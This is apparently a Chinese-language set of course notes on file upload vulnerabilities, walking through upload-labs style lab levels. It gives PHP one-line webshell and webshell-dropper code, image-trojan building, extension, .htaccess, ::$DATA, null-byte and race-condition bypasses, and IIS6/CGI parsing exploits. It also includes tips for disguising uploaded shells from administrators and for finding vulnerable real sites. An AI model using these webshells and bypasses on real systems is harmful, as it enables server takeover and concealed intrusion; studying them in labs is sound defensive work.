4.1 文件上传解析漏洞(一)
4.1.1 菜刀木马
4.1.1.1 什么是shell?
Webshell =>网站会话(拥有网站的权限)
Getshell =>获取会话
正常的shell => 我们去连接木马(上传的目标网站的木马)
反弹shell => 受害机去访问攻击机,从而建立连接。
Webshell=>网站木马 => 一句话木马
大马:大马相当于在我上传到网站上的是一个类似于菜刀的工具
小马:小马上传的只是一个文件,需要工具来连接。
本质上都是对该服务器的操作。
4.1.1.2 一句话木马解析
1.一句话解析
<?php eval($_REQUEST[‘a’])?>
Eval:php中的危险函数,eval中的东西会当作代码执行。
$_REQUEST[‘a’]:接受a的post/get形式传参
这句php语句的最终作用:就是将我们给a的传参当作代码执行。
2.一句话木马的核心
一句话木马的核心就在于任意代码执行。
3.传参
a传参多种多样:
a=phpinfo();
a=echo`whoami`(这里我们使用的是反引号,反引号内的内容表示执行系统命令)
4.1.1.3 菜刀用法
菜刀主要我们使用三个功能。
1.文件管理功能

2.数据库管理功能
这里我们点击右键连接=>数据库管理=>配置
输入数据库的正确账号和密码即可连接成功。

我们还可以在上方的框里输入sql语句,来操纵数据库。
- 虚拟终端功能

我们输入ipconfig ,ip为192.168.78.133可见是我们那台服务器的ip,我们还何以输入一些其他命令whoami总之获得的cmd的权限。

4.1.2 客户端检验与绕过
4.1.2.1客户端校验
一般是在网页上写一段Js脚本,用Js去检测,校验上传文件的后缀名,有白名单机制也有黑名单机制。
(因为上传文件类型的检测如果设置在服务器端会给服务器加重负担,所以有些网站会将这种校验放在客户端,利用js脚本检测,这样我们可以通过抓数据包去检测)
4.1.2.2客户端检测判断
在浏览加载文件,点击上传按钮时便会弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包。
我们可以通过抓包来判断,我们发现抓包burp并没有抓到数据包警示框就已经弹出来了,所以可见这里是典型的前端/客户端检测。
如果我们先抓到了数据包,没有弹框,但并将数据包放过,弹出的警示框,那么就说明是后端/服务端检测了。

如上图所示,burp并没有抓到数据包,但是还是弹出了拦截窗口。说明拦截并不是在服务端,而是在客户端。
一般情况下,这种只允许上传某种格式的文件,都是白名单机制。
而那种指定不允许上传某种格式文件的检测,叫做黑名单。
一般情况下,白名单比黑名单更安全。
前端验证非常不可靠,传文件用burp改数据包就可以绕过,甚至关闭JS都可以尝试绕过.(Pass-01)
4.1.2.3服务端检验与绕过
服务端检测几个常见的手段:
1.检查Content-Type (内容类型)

2.检查后缀
(检查后缀是主流(向我们通关靶场1,2的手段在应对检测文件后缀时候是无效的,检测后缀的后端检测你最后上传的到底是什么后缀的文件。))

3.检查文件头
检测文件头的手段主要是因为不同类型的文件有不同类型的文件头,一般我们正常情况下是看不出文件头的,但是我们只要把文件以16进制的方法打开,便可看出文件头的不同,不同类型的文件的文件头的不同一目了然。后端的服务器会根据文件头来判定文件的格式来确定是否能让用户上传。
如何绕过Content-Type (内容类型)和文件头检测呢?
这个时候我们就要去制作一个图片马了。
4.1.2.4 图片马的制作
图片马的制作很简单,写一个一句话木马放在txt文件然后找一张你喜欢的图片(注意文件大小,越小越好)
然后打开cmd copy a.jpg/b + 1.txt 123.jpg
(将a.jpg和1.txt 合并为123.jpg (注:这个是效果))

图片马可以很好的绕过内容类型和文件头。
制作好图片马将该文件得后缀改为.txt 查看图片尾部是否带有一句话。
如果有便可以使用。

*******************************************************
简单的隐写术
首先我们书写一个.txt机密文件,然后将其压缩,然后我们在当前文件夹下通过这条命令
copy 2.jpg/b +2.zip 333.jpg
可新生成一个333.jpg图片文件。

这个文件看似是一张图片.

但其实则是一个压缩包。我们通过修改后缀的方式,将333.jpg的后缀改成zip即可查看到在其中的压缩包。

4.1.3 黑白名单机制
4.1.3.1 什么是黑白名单机制?
黑白名单机制:
黑名单:不允许上传什么
白名单:只允许上传什么,
一般情况下白名单比黑名单更安全。
4.1.3.2 黑白名单机制的探测
我们在遇到文件上传的地方,给文件随便修改一个上传的后缀,比如123.a文件,如果上传成功,那么该网站就是黑名单机制,因为没有哪个白名单会把.a的后缀添加到白名单机制中。
这里我们随便上传了一个.abc后缀的文件都上传成功了,可见这里可能是一个黑名单机制。


如果是黑名单机制我们就没法通过将后缀修改成.php来绕过了。

4.1.3.3 黑名单机制的绕过
php中,如果默认状态下.php3,.php4,.php5,.phtml 都是会被解析为php的。

通过上述得黑名单机制,不允许 .asp .aspx .php .jsp,我呢可以利用解析漏洞,因为iis6.0解析漏洞会将.php3,.php4,.php5,.phtml 都是会被解析为php的,所以我们抓包,将.jpg后缀改为(因为不允许php)我们将后缀改为.phtml即可绕过。
正常而言默认情况下,开发不去修改php的解析,phtml.php3,.php4,.php5,.等都是可以绕过的。phtml和php5最为常用。

然后我们放包,即可发现图片马上传成功。
4.1.3 靶场通关(一)(前十关主讲黑名单)
Pass-01:(最不可靠的前端验证)
靶场1是一个前端验证,我们可以上传一个jpg格式的图片马(也可以直接写个一句话木马的txt,然后将后缀改为jpg)然后抓取一个其数据包,将后缀改为php。

上传成功后访问图片地址,传参phpinfo(); ,看看是否传参成功成功,直接连菜刀即可。(客户端检测)

Pass-02:(Content-Type方式绕过)
既然是检查文件类型,拿出我们的图片马,WEB容器是根据后缀来识别格式的,我只要上传的文件后缀是.jpg就行。
然后我们将其数据包抓下并修改成php即可。
操作上和靶场1没有任何区别。
这里可以看出这里的文件类型在一开始就确定了,如果我们最开始浏览选择的文件是jpg,数据包中的content-type就是Content-Type: image/jpeg。
如果我们最开始我们选择的文件是php文件,那么content-type就是Content-Type: application/octet-stream,即使我们改了数据包改的也只是存储文件的名字.


进行传参?a=phpinfo(),看图片马是否上传成功,成功了直接连接菜刀即可.

Pass-03:(黑名单绕过 不允许 .asp .aspx .php .jsp)
Pass-03:黑名单绕过
前面讲到过黑名单绕过机制不靠谱,我们看看这地方的过滤怎么玩的。很明显这个过滤不严谨,
php中,如果默认状态下.php3,.php4,.php5,.phtml 都是会被解析为php的



通过上述得黑名单机制,不允许 .asp .aspx .php .jsp,我呢可以利用解析漏洞,因为iis6.0解析漏洞会将.php3,.php4,.php5,.phtml 都是会被解析为php的,所以我们抓包,将.jpg后缀改为(因为不允许php)我们将后缀改为.phtml即可绕过。

然后我们放包,即可发现图片马上传成功。
我们访问图片马地址可见乱码,传参a=phpinfo();,可见传参成功。

然后我们直接连接菜刀即可。

Pass-04:(.htaccess 文件)
.htaccess是什么? .htaccess文件也被成为分布式配置文件,提供了针对目录改变配置的方法,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。
.htaccess功能:
文件夹密码保护、用户自定义重定向、自定义404页面、扩展名伪静态化、禁止特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表
很可惜,这么一个强大的功能默认是不开启的
例:AddType application/x-httpd-php .jpg 这个指令代表着.jpg文件会当做php来解析
我们将AddType application/x-httpd-php .jpg 写入文件,并将文件名改成.htaccess,如果不能直接修改就用cmd命令行修改。

完成制作后,我们先上传一张jpg后缀的图片马即可,直接上传,不用做任何修改.

之后我们将我们.htaccess文件上传。

然后我们复制图片地址去查看。发现其已经别当作php解析了。

传参?a=phpinfo(); 成功之后我们直接连接菜刀即可。

Pass-05:(大小写绕过)
".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"
这里我们发现过滤了大量文件名。
我们正常抓包改包发现,对.php文件进行了后端拦截。

但是这里没有过滤一些大小写的变形。
所以我们来尝试一下如:PHp


我们发现放包过去之后文件上传成功。
当我们访问图片地址发现图片马已经当做php解析,我们对其传参?a=phpinfo();
发现执行有效,并可以任意函数执行。
直接连菜刀即可。

Pass-06:(空格绕过)
靶场6我们发现大小写也被强转了,所以我们尝试使用空格。
字符串匹配的时候
php空格 是不等于 php的
系统操作时,很多情况下windows系统会将文件后缀末尾的空格直接去掉。
php空格=php
我们就利用这一点来绕过

这里我们抓包,将文件后缀改成.php空格进行突破

发现我们上传图片马成功
然后我们访问该图片马地址发现,发现已被php解析并传参成功。?a=phpinfo(); 之后我们直接连菜刀即可。



由上图发现我们的1.php.的后缀,被系统默认识别成了1.php,导致最后生成文件就是1.php。
*******************************************************
Pass-07:(加点绕过)
这里空格也被去掉。我们尝试用后缀点绕过.,如.php.后缀

于是我们抓包该包.php.来进行突破。

于是我们发现图片马上传成功

然后我们访问该图片马地址发现,发现已被php解析并传参成功。?a=phpinfo(); 之后我们直接连菜刀即可。

Pass-08:(Windows文档流绕过)
Windows文档流介绍
::$DATA(Windows文件流绕过) (这里利用到了NTFS交换数据流(ADS),ADS是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流。通俗的理解,就是其它文件可以“寄宿”在某个文件身上,而在资源管理器中却只能看到宿主文件,找不到寄宿文件。)
我们肯定不懂这个意思是什么,我们先在CMD运行一个(藏文件的小福利)
echo abcd>>a.txt:b.txt 讲abcd写入a.txt:b.txt 很明显生成一个a.txt
例:可见echo absv >> 252.txt 实现了一个输出重定项。


然后再试试a.txt::$DATA

::$DATA就是默认不修改文件流的情况
所以生成一个正常的a.txt
利用windows特性,可在后缀名中加” ::$DATA”绕过。
隐写术2
当我们当前1文件夹命令行键入
echo jianghhahahahahah >>b.txt:c.txt
我们发现在文件夹内生成一个b.txt然而却没有看见c.txt而且b.txt的大小是0kb显然文本jianghhahahahahah并没有被写入。这是因为上述的‘寄宿’情况,我们将c.txt文件寄宿在了b.txt文件上,但是我们在正常情况下根本无法查看到c.txt。
当我们输入命令dir /r时可以看见寄宿文件。


因为b.txt是空的0k,所以没有东西。
我们只有输入命令:
notepad b.txt:c.txt
即可发现我们写入的内容。

我们也可以用这种方法隐藏一些重要的文件入密码之类的。
切记我们不能在(宿主文件)也就是b.txt文件里直接写入文本那样的话就会刷新掉寄存在宿主文件身上的寄宿文件也就是a.txt文件。
正常情况下我们写
b.txt:c.txt表示c.txt文件寄存在b.txt文件上
当我们只写a.txt的时候相当于a.txt::&DATA系统回在a.txt后边默认填充一个::&DATA
txt==>>a.txt::&DATA

当我们查看2.txt::$DATA时我们发现hahahaha就写在里边,因为2.txt的格式默认就是2.txt::$DATA这个样式的,我们查看2.txt::$DATA时其实就是在查看2.txt.

接下来我们来看靶场8
靶场8(拦截了大小写,拦截了配置文件,拦截了各种文件后缀,去了空格,去了点)

我们尝试用上述的xxx.txt::$DATA方式绕过。切记添加这种后缀的方式只对于windows有效,如果系统时linux的我们就不能用这个了,切记如果拦截机制是黑名单,这种绕过方式一般都有效

我们上传之后发现图片马不知道是否上传成功。

当我们访问地址的是后发现文件不存在,因为windows系统是默认去掉::$DATA这个东西的,所以我们访问不到。

那是因为::$DATA是为了突破上传添加默认的格式,所以我们把他删除了再去重新访问一次,发现访问成功了,图片马已经被php解析,并且传参?a=phpinfo();成功。我们就可以直接连菜刀了。

Pass-09:(构造文件名绕过)
(拦截了大小写,拦截了配置文件,拦截了各种文件后缀,去了空格,去了点,这里删除了::DATA)

这里我们通过逻辑构建文件后缀,因为代码自上向下执行,所以先去点再去空格,那么我们上传一个文件类似这样xxx.php. .
(1)xxx.php. . ==> (2)xxx.php. ==> (3)xxx.php.
在其经过第一次过滤后会先去掉点,然后第二次过滤去掉空格,最后剩下xxx.php.
因为该黑名单里并没有.php.所以我们上传成功了。
即可完成突破上传。只要我们根据上述过程构造一个合适的文件名,即可绕过。文件后缀.php. .


当我们访问图片马地址时就会发现.php.图片马已被php解析,并可以完成传参。
传参成功直接上菜刀即可。

这里的突破方式同样可以完成pass -08
Pass-10:(构造文件名双写绕过)
这里再过滤的时候,简单暴力匹配上传文件的后缀,只要是在黑名单内危险的文件后缀名。如php等等直接进行删除。
这里的过滤原理个前边靶场9的. . 的过滤原理是相同的,之所以这类防护我们能够绕过是因为开发并没有二次过滤(循环过滤),对那些危险的后缀符号等只过滤一次,才让我们有机可乘。

这里我们就可以利用他的删除机制构造一个文件后缀,如.pphphp
.pphphp ==> .php
经过过滤删除后还剩下一个php
便可完成上传

我们发现图片马突破上传成功

当我们访问图片马地址时就会发现图片马,这时候图片马的后缀已经变成了.php,已被php解析,并可以完成传参。直接连接菜刀即可。

4.2 文件上传解析漏洞(二)
4.2.1 绕过白名单方式
4.2.1.1 %00截断和00截断
了解%00实际上我们要先了解0x00,0x00实际上是一个十六进制表示方式,实际上就是表示ascii码值为0,有些函数在处理这个字符的时候会把这个字符当做结束符,他们就读取到这里认为这一段结束了
在文件上传时,如果遇到了白名单机制只允许上传jpg后缀的,在没有解析漏洞的情况下我们该怎么办?JPG格式并不会被解析,那么我们需要绕过上传过滤。
假如我写了1.php%00.jpg 传参之后,有些过滤都是直接匹配字符串,他强行匹配到了结尾是.jpg,然后允许上传,但是php的函数去执行的时候他读取到0x00认为结束了,那么这个文件就变成了1.php
%00实际上和00截断是一模一样的原理,只不过%00是经过URL编码的,%00解码后就是0x00截断的那个字符
白名单机制【只允许】相对黑名单安全
4.2.1.2 文件上传及截断流程
(1) 1.php.jpg
名字 | 后缀
1.php%00.jpg
文件名1.php%00
后缀: .jpg
要移动到的目录:/upload/
(2)
上传流程:上传图片 => 上传到临时目录 =>拼接要移动到的目录=> php移动重命名(读取到0x00 他认为这里结束了)
/upload/1.php%00.jpg (拼接要移动的目录)
=>
/upload/1.php(php重命名)
由上述流程可见当我们拼接入要移动到的目录以后,然后就要移动重命名了,在重命名的时候,%00截断就发挥了作用,在这里系统会认为文件名到达%00之前就结束了,所以最后重命名就命名为1.php
php 5.3.29 以下版本有类似问题,5.4以上的php就无法使用00截断了。00截断关键在于php,而不是中间件。
%00=00
4.2.2 二次渲染
二次渲染是一种防护手段,如我们做好一张图片马进行上传之后,在下载下来发现里边的木马没有了,如果是这种情况,那么即便我们上传成功了图片马,也没有用了。
我们发现二次渲染之后我们放在最底部的一句话木马不见了,那么我们后续的手段就没法进行了。


所以我们采用gif动图马进行绕过。一般这种拦截方式我们使用gif动图效果会比较好.
首先我们上传一张普通的动图timg.gif
然后将其下载下来我们已hex16进制的方式进行查看,我们发现这张动图经历了二次渲染之后,有很多地方已经与之前完全不同了。

但是经过我们仔细查看,图片的首部的一部分还是没有变化的。

如下图可见,以省略号位分解gif的图片可分为上下两个部分.我们因为上边将gif图片马加在图片的结尾,一句话木马被二次渲染杀掉了.
那么我们可以尝试把一句话木马加到首部,加到二次渲染不会改变的地方。

那么我们在上传一次看看效果是否免杀。
这次我们上传之后在下载下来发现木马还在。

这里我们就发现了那么即使我们上传成功了图片马,可是其还是jpg/gif等图片后缀,我们也没法加以利用啊。
这里我们如果对于二次渲染免杀后,我们话要让其配合别的漏洞来进行解析,实现进一步的操作。
这里我们将gif动图的马上传成功了。


然后我们复制器图片地址可以配合着解析漏洞进行解析。
http://59.63.200.79:8016/Pass-16/upload/3714.gif/.php?a=phpinfo();
然后我们可以发现图片马解析成功并成功传参,这里我们直接连接菜刀即可.

4.2.3 条件竞争
1.首先了解一个定义——竞争条件是什么?
竞争条件”发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。
开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,而且他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果。
线程同步机制确保两个及以上的并发进程或线程不同时执行某些特定的程序段,也被称之为临界区(critical section),如果没有应用好同步技术则会发生“竞争条件”问题。
2.条件竞争的核心
有的站是先上传再检测,而有的是先检测再上传。
条件竞争主要应用于先上传,在检测的情况。
条件竞争核心就是在服务器检测到文件有问题并想要删除它之前访问它。让其被解析。当然这需要高线程访问。
4.2.3 靶场通关(二)(后十关主讲白名单)
Pass-11:(%00截断/get)
这里我们上传一张正常的图片,发现它被重新命名了。这里我么们就无法通过改名字来搞了。

但是这里有一个可以修改的文件上传路径,我们尝试在这里做一做一下手脚。

这里我们在路径上做了修改,upload/jt.php%00.

因为不加上%00如下图所示我们上传的图片马会被重新命名。所以这里我们加上一个%00。
当我们在save_path=../upload/后加上一个jt.php%00时,
文件的路径就变成这样的了,save_path=../upload/jt.php%00,如此一来就算他将我们的图片马重名命的话,也会是这样:
/upload/jt.php�/2120200605174538.jpg 这样我们的截断就会发挥作用,%00后的重命名文件名也不会生效。
这样我们就成功生成了jt.php图片马。
可以截断后边重命名的图片,这样这张图片马就会被当成jt.php来解析,从而使其中的的一句话木马生效。

这里可见,截断之后的图片名就失效了,我们可以直接在url栏里将其删除,这保留截断前边的jt.php,如下图我们就可见,而且可以对其传参,?a=phpinfo(); 可见一句话木马已经生效。可以直接用菜刀进行连接。

Pass-12:(%00截断/post)
靶场12与11具有一定的相似性
我们同样抓包在这里进行更改进行上传。

我们发现他报错了。%00实际上和00截断是一模一样的原理,只不过%00是经过URL编码的,%00解码后就是0x00截断的那个字符。因为%00是url编码,只有get传参的时候才有效,但是post传参是没有效果的呀,于是我们就要在post传参里进行截断。
%00=>URL编码后的东西=>0x代表16进制=>显示16进制
61=> a =>%61(url)

我们同样是抓一个数据包,修改他的路径,..upload/jt.phpa 我们在这里留下一个a是方便我们以后修改hex值。

因为我们在post传参中无法直接写%00,所以我们用修改hex值的方式来修改将61的位置修改成00,因为61是a的ascII 值因为a写在了php后边,将a改成00就起到了在php后边的截断的作用。


当我们改完了a的值将其改成了00之后,我们发现php后边什么都没有了,这就说明我们的截断起了作用。


放包后我们发现上传图片吗成功了,并起到了截断的作用。

当我们把后边被截断的内容删除了的时候,直接去访问http://59.63.200.79:8016/upload/jt.php的时候发现并没有影响,说明哦我们的截断是有效的,并且也可以对其传参,说明图片马已经被当做jt.php并解析成功.这里我们可以直接上菜刀了.

Pass-16:(二次渲染)
二次渲染是一种防护手段,如我们做好一张图片马进行上传之后,在下载下来发现里边的木马没有了,如果是这种情况,那么即便我们上传成功了图片马,也没有用了。
我们发现二次渲染之后我们放在最底部的一句话木马不见了,那么我们后续的手段就没法进行了。


所以我们采用gif动图马进行绕过。一般这种拦截方式我们使用gif动图效果会比较好.
首先我们上传一张普通的动图timg.gif
然后将其下载下来我们已hex16进制的方式进行查看,我们发现这张动图经历了二次渲染之后,有很多地方已经与之前完全不同了。

但是经过我们仔细查看,图片的首部的一部分还是没有变化的。

如下图可见,以省略号位分解gif的图片可分为上下两个部分.我们因为上边将gif图片马加在图片的结尾,一句话木马被二次渲染杀掉了.
那么我们可以尝试把一句话木马加到首部,加到二次渲染不会改变的地方。

那么我们在上传一次看看效果是否免杀。
这次我们上传之后在下载下来发现木马还在。

这里我们就发现了那么即使我们上传成功了图片马,可是其还是jpg/gif等图片后缀,我们也没法加以利用啊。
这里我们如果对于二次渲染免杀后,我们话要让其配合别的漏洞来进行解析,实现进一步的操作。
这里我们将gif动图的马上传成功了。


然后我们复制器图片地址可以配合着CGI解析漏洞进行解析。
http://59.63.200.79:8016/Pass-16/upload/3714.gif/.php?a=phpinfo();
然后我们可以发现图片马解析成功并成功传参,这里我们直接连接菜刀即可。

当然能jpg/png也可以绕过二次渲染,但是jpg/png的绕过二次渲染极其复杂,这里就没有必要就说,因为大多数情况能上传jpg/png的时候都能上传gif,而且gif绕过二次渲染更便捷更好。
Pass-17/18:(条件竞争)
首先了解一个定义——竞争条件是什么?
竞争条件”发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。
开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,而且他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果。
线程同步机制确保两个及以上的并发进程或线程不同时执行某些特定的程序段,也被称之为临界区(critical section),如果没有应用好同步技术则会发生“竞争条件”问题。
在我理解就是两只哈士奇(线程)同时去抢一个丢出去的飞盘(资源),不知道到底哪只能抢到,此处便形成了竞争。
先验证还是先执行
先上传上去后校验,不符合后删除。
服务器删除文件时间-->0.01s
100个线程不断访问这个文件-->
究竟是线程先访问还是文件先删除-->
它就会被访问到-->代表被执行-->占用-->有时候执行速度很快,比删除的速度还快。
<?php
$a='<?php @eval($_REQUEST[\'a\'])?>';file_put_contents('1.php',$a)
?>
==> 2.php
<?php file_put_contents('1.php','<?php @eval($_REQUEST[1])?>')
?>
注*:这里为了闭合不出错,我们也可以把传参a写成数字,这里我改成了1,切记这里的1或者a都不是变量,这里的变量REQUEST,他是数组的键即传参数组的下标。
可见我们将上述php生成一句话的木马写入2.php中,然后访问该1.php文件就可以生成一句话木马了。


那我们上传是和谁去竞争?
一般而言我们是上传了文件,上传了但是最后却因为过滤或者因为其他原因被删除了,那么我们可以使用条件竞争,我们实际上是和unlink,是和删除文件的函数进行竞争。
条件竞争就是利用服务器对上传的恶意文件会删除,这样我们就没有办法了,但是删除恶意文件需要一段时间,或许0.01s,当然很短,虽然这段时间很短,但是我们依然可以利用我们可以利用这段时间对其进行一个攻击。
我们首先抓取一个上传木马数据包,保存下来。
这里我们可以用生成马的php文件,也可以直接上传图片马。然后我们对其进行发包。我们在其中打上一个随意的变量。然后调成nopayload ,包数8000,线程30.

然后我们在抓取一个访问要上传的这个木马的数据包,当然我们现在去访问他还是空的,因为这个马还没有传上去。当然我们这里上传的包是访问的phpinfo();,因为这个界面的返回包很长方便我们在跑包的时候查看。
这个包我们也加到爆破模块,随意给个变量,然后也是nopayload因为我们是跑这个包本身。同样8000个包,40个线程。
这里我们访问的包要比上传的线程高2倍左右吧。

当上述一切都准备好了我么们开始跑包,我们一边一直发送数据包,上传木马,但是木马上传就会被删除,所以我另一边一直访问该包,这样一直跑就会有一个木马在我上传了,服务器还没来得及删除的时候我们就给访问了,正常得话我们是写一个生成马的php,一直发,然后另一边一直访问,总会又在服务器还没来的及删除的时候,我们就给访问了,然后生成了一个新的木马但是这个木马不是上传的所以不会被拦截,这样即使稍后我们上传的生成马被删除了,但是我们的新木马已经生成,我们的目的已经达到了。
我们回到这个靶场当我们是给上传的图片马被访问phpinfo();时我们就会发现其数据包较其余普通数据包长出来很多。我们就可以断定我们的数据包已经被访问到了。

Pass-19:(重名命截断)
靶场20这里貌似对文件名不拦截,上传了php文件都上去了。
但是当我们去访问,他被重命名了,这场景类似于00截断。
move_uploaded_file()截断


靶场20我们正常上传一张图片,发现复制图片地址再去访问发现图片地址已经被重命名了。而且传参的地方我们也可以看见。


这里我们上传一张图片马,发现这里无论怎么上传都被命名了。

这里我们会发现与之前靶场不同的这里保存的是文件名,而不是路径了。

那在这里我们把文件名修改成php,然后放包。

这里我们发现失败了,但是好像可以做文章,我们尝试在这里00截断一下。
这里我们抓取数据包在系统自动保存的文件名这里做些手脚,我们将其文件名00截断,但是这里不是url传参,我们需要进行修改hex值进行截断,我们再upload-19.jpg那里打上一个a。
使其变成upload-19phpa.jpg



然后就可以上传成功了。
紧接着我们复制图片地址进行访问即可。发现文件名已经为php.jpg但是后边的jpg已经被一个字符截断了我们访问不到页面。


这里我们将截断后的数据删除掉,然后发现图片马解析成功。

然后我们即可传参phpinfo();发现传参有效。
直接上菜刀即可。

4.3 文件上传解析漏洞(三)
4.3.1 IIS 6.0解析漏洞
IIS6.0解析漏洞,其实有一些不如说是IIS6.0的一些特性,严格意义上而言,只是一些默认配置问题并不是漏洞
但是也有一些的确是漏洞.
4.3.1.1 IIS6.0解析漏洞(一)
IIS6.0除了将ASP后缀当做ASP进行解析的同时,当文件后缀名字为.asa .cer .cdx 也会当做asp去解析,这是因为IIS6.0在应用程序扩展中默认设置了.asa .cer .cdx 都会调用 asp.dll
我在里面加入了.zkaq使用asp.dll解析
我们成功的使pass.zkaq解析
这种机制适合我们用来绕过黑名单机制。如果修复这个机制就只让asp能被解析就好。



4.3.1.2 IIS6.0解析漏洞(二)
IIS5.1和IIS7.5无此漏洞。
IIS 6.0在处理含有特殊符号的文件路径时会出现逻辑错误,从而造成文件解析漏洞。该漏洞方式类似于00截断,这一漏洞有两种完全不同的利用方式:
a.asp;.jpg 他将当做asp进行解析
a.asp/123.jpg 他将当做asp进行解析请求 /aaa.asp;xxxx.jpg
N1:从头部查找查找 "."号,获得 .asp;xxxx.jpg
N2:查找";"号,如果有则内存截断
N3:查找"/",如果有则内存截断
最终,将保留下来 .asp 字符串,从META_SCRIPT_MAP脚本映射表里与扩展名匹配对比,并反馈给了asp.dll处理。
4.1.1.3 IIS6.0 解析漏洞(三)
当我们修改文件名为类似a.asp/123.jpg时候我们会发现/也能起到一个截断的作用。以再IIS6.0还是对当作asp解析。
Xxx.asp/1.b还是会当作asp解析,xxx.asp目录下文件都会当作asp,只要是在xx.asp文件夹内无论什么后缀都被当成asp文件.
4.3.2 CGI解析漏洞
4.3.2.1适用范围
动态脚本语言:php
中间件:任意中间件 IIS 7.5(典型代表)
这不是Nginx特有的漏洞,在IIS7.0、IIS7.5、Lighttpd等Web容器中也经常会出现这样的解析漏洞.
4.3.2.2 漏洞产生的原理
Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设SCRIPT_FILENAME。
当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME(绝对路径)传递给PHP CGI,如果开启了cgi.fix_pathinfo=1选项(这个默认值就是1,所以没有设置过就是开启),那么就会触发在PHP中的如下逻辑:
PHP会认为SCRIPT_FILENAME(绝对路径)是phpinfo.jpg,而1.php是PATH_INFO,所以就会phpinfo.jpg作为PHP文件来解析了.
也是一个逻辑问题,所以说我们只需要在正常的.jpg后面加/.php就可以成功的绕过解析.
4.3.3 文件上传总结
1.文件上传的本质的目的是什么?
就是为了上传文件可以任意代码执行,达到对目标的控制的效果.
即Getshell,获取网站管理权限.
2.CGI漏洞站速撸
正常我们现在找到一个php的网站,复制其任意图片地址进行访问,在后边拼接上/.php,如果解析了乱码了,那么就说明漏洞存在,我们即可找到图片上传点撸掉它.
3.Getshell方式拓展
Getshell的方式有很多不止文件上传,可以通过修改后台直接写入php,备份数据库重名命等.
4.3.4 靶场通关
Pass-20:(多文件格式解析)
我们来上传一张图片马,利用IIS6.0解析漏洞,将其后缀修改为.asa,发现其并不进行拦截。以下是允许上传的文件格式。


这里我放包发现已经上传成功。


然后我们访问该图片马的位置,发现33.asa已经解析成功。

因为这里是asp的马所以我们没法执行phpinfo();所以我们直接输入密码连接菜刀即可。

Pass-21:(分号截断)
这里我们来看一下pass21,同样是利用IIS6.0畸形解析漏洞。利用分号截断。上传一张33.asp;1.jpg

我们放包发现上传成功。

我们即可突破上传,可见乱码。说明你解析成功,切记这里的访问的是后要输入文件的全名33.asp;.jpg,如果只访问33.asp是访问不到该文件的。

(但是我们会发现,如果我们将;.jpg去掉我们将无法访问该页面,所以可见这里和截断有一些区别,而截断我们是可以去掉后缀的)

a.asp;.jpg => a.asp;.jpg IIS6.0是解析的时候出现的问题
php%00.jpg => a.php 而00截断是在上传移动的时候出现了问题。
之前讲的漏洞都是代码的问题。
现在这些都是容器的问题。
然后我们直接上菜刀即可

这里我们来说一个小技巧,由上图可见我们上传的文件,在时间上与网站原有文件的时间不符,相差很多,这样很容易引起管理员的注意,那么我们可以右键单击文件,修改时间,同时也可以修改一个文件名使其更容易被信任成为系统文件。

经过修改之后文件就更容易骗过管理员了。
Pass-22(xx.asp文件夹解析)
直接上传图片马即可,因为文件直接上传到了a.asp的目录下,所以文件直接将被当作asp解析。

这里我们访问该图片片地址,发现该jpg后缀的图片马被当作asp解析成功了.

解析成功之后我们直接连接菜刀即可.我们也可以发现这里c文件夹下有一个a.asp文件夹,我们上传的jpg图片马就在该文件夹下.

而且我们发现只要上传的马在xx.asp目录下,我们随意更该其文件名,后缀名都会被当作asp文件解析.

Pass-23
我们利用545.jpg/.php这样会将文件当做php解析。

